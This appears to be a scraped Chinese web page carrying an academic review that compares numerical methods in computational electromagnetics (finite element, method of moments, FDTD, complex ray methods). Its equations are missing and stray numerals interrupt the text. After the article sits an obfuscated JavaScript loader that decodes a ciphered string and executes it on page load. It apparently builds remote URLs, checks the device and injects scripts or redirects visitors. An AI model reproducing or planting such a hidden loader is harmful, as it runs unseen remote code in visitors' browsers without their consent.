推荐回答(1个)
电磁学计算方法的比较
胡来平,刘占军
(重庆邮电学院光电工程学院 重庆 400065)
摘 要:介绍了电磁学计算方法的研究进展和状态,对几种富有代表性的算法做了介绍,并比较了各自的优势和不足,包括矩量法、有限元法、时域有限差分方法以及复射线方法等。
关键词:矩量法;有限元法;时域有限差分方法;复射线方法
1 引 言
1864年Maxwell在前人的理论(高斯定律、安培定律、法拉第定律和自由磁极不存在)和实验的基础上建立了统一的电磁场理论,并用数学模型揭示了自然界一切宏观电磁现象所遵循的普遍规律,这就是著名的Maxwell方程。在11种可分离变量坐标系求解Maxwell方程组或者其退化形式,最后得到解析解。这种方法可以得到问题的准确解,而且效率也比较高,但是适用范围太窄,只能求解具有规则边界的简单问题。对于不规则形状或者任意形状边界则需要比较高的数学技巧,甚至无法求得解析解。20世纪60年代以来,随着电子计算机技术的发展,一些电磁场的数值计算方法发展起来,并得到广泛地应用,相对于经典电磁理论而言,数值方法受边界形状的约束大为减少,可以解决各种类型的复杂问题。但各种数值计算方法都有优缺点,一个复杂的问题往往难以依靠一种单一方法解决,常需要将多种方法结合起来,互相取长补短,因此混和方法日益受到人们的重视。
本文综述了国内外计算电磁学的发展状况,对常用的电磁计算方法做了分类。
2 电磁场数值方法的分类
电磁学问题的数值求解方法可分为时域和频域2大类。频域技术主要有矩量法、有限差分方法等,频域技术发展得比较早,也比较成熟。时域法主要有时域差分技术。时域法的引入是基于计算效率的考虑,某些问题在时域中讨论起来计算量要小。例如求解目标对冲激脉冲的早期响应时,频域法必须在很大的带宽内进行多次采样计算,然后做傅里叶反变换才能求得解答,计算精度受到采样点的影响。若有非线性部分随时间变化,采用时域法更加直接。另外还有一些高频方法,如GTD,UTD和射线理论。
从求解方程的形式看,可以分为积分方程法(IE)和微分方程法(DE)。IE和DE相比,有如下特点:IE法的求解区域维数比DE法少一维,误差限于求解区域的边界,故精度高;IE法适合求无限域问题,DE法此时会遇到网格截断问题;IE法产生的矩阵是满的,阶数小,DE法所产生的是稀疏矩阵,但阶数大;IE法难以处理非均匀、非线性和时变媒质问题,DE法可直接用于这类问题〔1〕。
3 几种典型方法的介绍
有限元方法是在20世纪40年代被提出,在50年代用于飞机设计。后来这种方法得到发展并被非常广泛地应用于结构分析问题中。目前,作为广泛应用于工程和数学问题的一种通用方法,有限元法已非常著名。
有限元法是以变分原理为基础的一种数值计算方法。其定解问题为:
应用变分原理,把所要求解的边值问题转化为相应的变分问题,利用对区域D的剖分、插值,离散化变分问题为普通多元函数的极值问题,进而得到一组多元的代数方程组,求解代数方程组就可以得到所求边值问题的数值解。一般要经过如下步骤:
①给出与待求边值问题相应的泛函及其变分问题。
②剖分场域D,并选出相应的插值函数。
③将变分问题离散化为一种多元函数的极值问题,得到如下一组代数方程组:
其中:Kij为系数(刚度)矩阵;Xi为离散点的插值。
④选择合适的代数解法解式(2),即可得到待求边值问题的数值解Xi(i=1,2,…,N)
(2)矩量法
很多电磁场问题的分析都归结为这样一个算子方程〔2〕:
L(f)=g(3)其中:L是线性算子,f是未知的场或其他响应,g是已知的源或激励。
在通常的情况下,这个方程是矢量方程(二维或三维的)。如果f能有方程解出,则是一个精确的解析解,大多数情况下,不能得到f的解析形式,只能通过数值方法进行预估。令f在L的定义域内被展开为某基函数系f1,f2,f3,…,fn的线性组合:
其中:an是展开系数,fn为展开函数或基函数。
对于精确解式(2)通畅是无限项之和,且形成一个基函数的完备集,对近似解,将式 (2)带入式(1),再应用算子L的线性,便可以得到:
m=1,2,3,…
此方程组可写成矩阵形式f,以解出f。矩量法就是这样一种将算子方程转化为矩阵方程的一种离散方法。
在电磁散射问题中,散射体的特征尺度与波长之比是一个很重要的参数。他决定了具体应用矩量法的途径。如果目标特征尺度可以与波长比较,则可以采用一般的矩量法;如果目标很大而特征尺度又包括了一个很大的范围,那么就需要选择一个合适的离散方式和离散基函数。受计算机内存和计算速度影响,有些二维和三维问题用矩量法求解是非常困难的,因为计算的存储量通常与N2或者N3成正比(N为离散点数),而且离散后出现病态矩阵也是一个难以解决的问题。这时需要较高的数学技巧,如采用小波展开,选取合适的小波基函数来降维等〔3〕。
(3)时域有限差分方法
时域有限差分(FDTD)是电磁场的一种时域计算方法。传统上电磁场的计算主要是在频域上进行的,这些年以来,时域计算方法也越来越受到重视。他已在很多方面显示出独特的优越性,尤其是在解决有关非均匀介质、任意形状和复杂结构的散射体以及辐射系统的电磁问题中更加突出。FDTD法直接求解依赖时间变量的麦克斯韦旋度方程,利用二阶精度的中心差分近似把旋度方程中的微分算符直接转换为差分形式,这样达到在一定体积内和一段时间上对连续电磁场的数据取样压缩。电场和磁场分量在空间被交叉放置,这样保证在介质边界处切向场分量的连续条件自然得到满足。在笛卡儿坐标系电场和磁场分量在网格单元中的位置是每一磁场分量由4个电场分量包围着,反之亦然。
这种电磁场的空间放置方法符合法拉第定律和安培定律的自然几何结构。因此FDTD算法是计算机在数据存储空间中对连续的实际电磁波的传播过程在时间进程上进行数字模拟。而在每一个网格点上各场分量的新值均仅依赖于该点在同一时间步的值及在该点周围邻近点其他场前半个时间步的值。这正是电磁场的感应原理。这些关系构成FDTD法的基本算式,通过逐个时间步对模拟区域各网格点的计算,在执行到适当的时间步数后,即可获得所需要的结果。
在上述算法中,时间增量Δt和空间增量Δx,Δy和Δz不是相互独立的,他们的取值必须满足一定的关系,以避免数值不稳定。这种不稳定表现为在解显式 差分方程时随着时间步的继续计算结果也将无限制的67增加。为了保证数值稳定性必须满足数值稳定条件:
其中:(对非均匀区域,应选c的最大值)〔4〕。
用差分方法对麦克斯韦方程的数值计算还会在网格中引起所模拟波模的色散,即在FDTD网格中数字波模的传播速度将随波长、在网格中的传播方向以及离散化的情况而改变。这种色散将导致非物理原因引起的脉冲波形的畸变、人为的各向异性及虚拟的绕射等,因此必须考虑数值色散问题。如果在模拟空间中采用大小不同的网格或包含不同的介质区域,这时网格尺寸与波长之比将是位置的函数,在不同网格或介质的交界面处将出现非物理的绕射和反射现象,对此也应该进行定量的研究,以保证正确估计FDTD算法的精度。在开放问题中电磁场将占据无限大空间,而由于计算机内存总是有限的,只能模拟有限空间,因此差分网格在某处必将截断,这就要求在网格截断处不引起波的明显反射,使对外传播的波就像在无限大空间中传播一样。这就是在截断处设置吸收边界条件,使传播到截断处的波被边界吸收而不产生反射,当然不可能达到完全没有反射,目前已创立的一些吸收边界条件可达到精度上的要求,如Mur所导出的吸收边界条件。
(4)复射线方法
复射线是用于求解波场传播和散射问题的一种高频近似方法。他根据几何光学理论和几何绕射理论的分析方法和计算公式,在解析延拓的复空间中求解复射线轨迹和场的振幅和相位,从而直接得出局部不均匀波(凋落波)的传播和散射规律〔5〕。复射线方法是包括复射线追踪、复射线近轴近似、复射线展开以及复绕射线等处理技术在内的一系列处理方法的统称。其共同特点在于:通过将射线参考点坐标延拓到复空间而建立了一个简单而统一的实空间中波束/射线束(Bundle ofrays)分析模型;通过费马原理及其延拓,由基于复射线追踪或复射线近轴近似的处理技术,构造了射线光学架构下有效的鞍点场描述方法等。例如,复射线追踪法将射线光学中使用的射线追踪方法和场强计算公式直接地解析延拓到复空间,利用延拓后的复费马原理进行复射线搜索,从而求出复射线轨迹和复射线场。这一方法的特点在于可以基于射线光学方法有效地描述空间中波束的传播,因此,提供了一类分析波束传播的简便方法。其不足之处是对每一个给定的观察点必须进行一次二维或四维的复射线轨迹搜索,这是一个十分花费时间的计算机迭代过程。
4 几种方法的比较和进展
将有限元法移植到电磁工程领域还是二十世纪六七十年代的事情,他比较新颖。有限元法的优点是适用于具有复杂边界形状或边界条件、含有复杂媒质的定解问题。这种方法的各个环节可以实现标准化,得到通用的计算程序,而且有较高的计算精度。但是这种方法的计算程序复杂冗长,由于他是区域性解法,分割的元素数和节点数较多,导致需要的初始数据复杂繁多,最终得到的方程组的元数很大,这使得计算时间长,而且对计算机本身的存储也提出了要求。对电磁学中的许多问题,有限元产生的是带状(如果适当地给节点编号的话)、稀疏阵(许多矩阵元素是0)。但是单独采用有限元法只能解决开域问题。用有限元法进行数值分析的第一步是对目标的离散,多年来人们一直在研究这个问题,试图找到一种有效、方便的离散方法,但由于电磁场领域的特殊性,这个问题一直没有得到很好的解决。问题的关键在于一方面对复杂的结构,一般的剖分方法难于适用;另一方面,由于剖分的疏密与最终所形成的系数矩阵的存贮量密切相关,因而人们采用了许多方法来减少存储量,如多重网格法,但这些方法的实现较为困难〔6〕。
网格剖分与加密是有限元方法发展的瓶颈之一,采用自适应网格剖分和加密技术相对来说可以较好地解决这一问题。自适应网格剖分根据对场量分布求解后的结果对网格进行增加剖分密度的调整,在网格密集区采用高阶插值函数,以进一步提高精度,在场域分布变化剧烈区域,进行多次加密。
这些年有限元方法的发展日益加快,与其他理论相结合方面也有了新的进展,并取得了相当应用范围的成果,如自适应网格剖分、三维场建模求解、耦合问题、开域问题、高磁性材料及具有磁滞饱和非线性特性介质的处理等,还包括一些尚处于探索阶段的工作,如拟问题、人工智能和专家系统在电磁装置优化设计中的应用、边基有限元法等,这些都使得有限元方法的发展有了质的飞跃。
矩量法将连续方程离散化为代数方程组,既适用于求解微分方程,又适用于求解积分方程。他的求解过程简单,求解步骤统一,应用起来比较方便。然而 77他需要一定的数学技巧,如离散化的程度、基函数与权函数的选取,矩阵求解过程等。另外必须指出的是,矩量法可以达到所需要的精确度,解析部分简单,可计算量很大,即使用高速大容量计算机,计算任务也很繁重。矩量法在天线分析和电磁场散射问题中有比较广泛地应用,已成功用于天线和天线阵的辐射、散射问题、微带和有耗结构分析、非均匀地球上的传播及人体中电磁吸收等。
FDTD用有限差分式替代时域麦克斯韦旋度方程中的微分式,得到关于场分量的有限差分式,针对不同的研究对象,可在不同的坐标系中建模,因而具有这几个优点,容易对复杂媒体建模,通过一次时域分析计算,借助傅里叶变换可以得到整个同带范围内的频率响应;能够实时在现场的空间分布,精确模拟各种辐射体和散射体的辐射特性和散射特性;计算时间短。但是FDTD分析方法由于受到计算机存储容量的限制,其网格空间不能无限制的增加,造成FDTD方法不能适用于较大尺寸,也不能适用于细薄结构的媒质。因为这种细薄结构的最小尺寸比FDTD网格尺寸小很多,若用网格拟和这类细薄结构只能减小网格尺寸,而这必然导致计算机存储容量的加大。因此需要将FDTD与其他技术相结合,目前这种技术正蓬勃发展,如时域积分方程/FDTD方法,FDTD/MOM等。FDTD的应用范围也很广阔,诸如手持机辐射、天线、不同建筑物结构室内的电磁干扰特性研究、微带线等〔7〕。
复射线技术具有物理模型简单、数学处理方便、计算效率高等特点,在复杂目标散射特性分析等应用领域中有重要的研究价值。典型的处理方式是首先将入射平面波离散化为一组波束指向平行的复源点场,通过特定目标情形下的射线追踪、场强计算和叠加各射线场的贡献,可以得到特定观察位置处散射场的高频渐进解。目前已运用复射线分析方法对飞行器天线和天线罩(雷达舱)、(加吸波涂层)翼身结合部和进气道以及涂层的金属平板、角形反射器等典型目标散射特性进行了成功的分析。尽管复射线技术的计算误差可以通过参数调整得到控制,但其本身是一种高频近似计算方法,由于入射波场的离散和只引入鞍点贡献,带来了不可避免的计算误差。总的来说复射线方法在目标电磁散射领域还是具有独特的优势,尤其是对复
杂目标的处理。
5 结 语
电磁学的数值计算方法远远不止以上所举,还有边界元素法、格林函数法等,在具体问题中,应该采用不同的方法,而不应拘泥于这些方法,还可以把这些方法加以综合应用,以达到最佳效果。
电磁学的数值计算是一门计算的艺术,他横跨了多个学科,是数学理论、电磁理论和计算机的有机结合。原则上讲,从直流到光的宽频带范围都属于他的研究范围。为了跟上世界科技发展的需要,应大力进行电磁场的并行计算方法的研究,不断拓广他的应用领域,如生物电磁学、复杂媒质中的电磁正问题和逆问题、医学应用、微波遥感应用、非线性电磁学中的混沌与分叉、微电子学和纳米电子学等。
参考文献
〔1〕 文舸一.计算电磁学的进展与展望〔J〕.电子学报,1995,23(10):62-69.
〔2〕 刘圣民.电磁场的数值方法〔M〕.武汉:华中理工大学出版社,1991.
〔3〕 张成,郑宏兴.小波矩量法求解电磁场积分方程〔J〕.宁夏大学学报(自然科学版),2000,21(1):76-79.
〔4〕 王长清.时域有限差分(FD-TD)法〔J〕.微波学报,1989,(4):8-18.
〔5〕 阮颖诤.复射线理论及其应用〔M〕.成都:电子工业出版社,1991.
〔6〕 方静,汪文秉.有限元法和矩量法结合分析背腔天线的辐射特性〔J〕.微波学报,2000,16(2):139-143.
〔7〕 杨永侠,王翠玲.电磁场的FDTD分析方法〔J〕.现代电子技术,2001,(11):73-74.
〔8〕 洪伟.计算电磁学研究进展〔J〕.东南大学学RB (自然科学版),2002,32(3):335-339.
〔9〕 王长清,祝西里.电磁场计算中的时域有限差分法〔M〕.北京:北京大学出版社,1994.
〔10〕 楼仁海,符果行,袁敬闳.电磁理论〔M〕.成都:电子科技大学出版社,1996.
现代电子技术
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();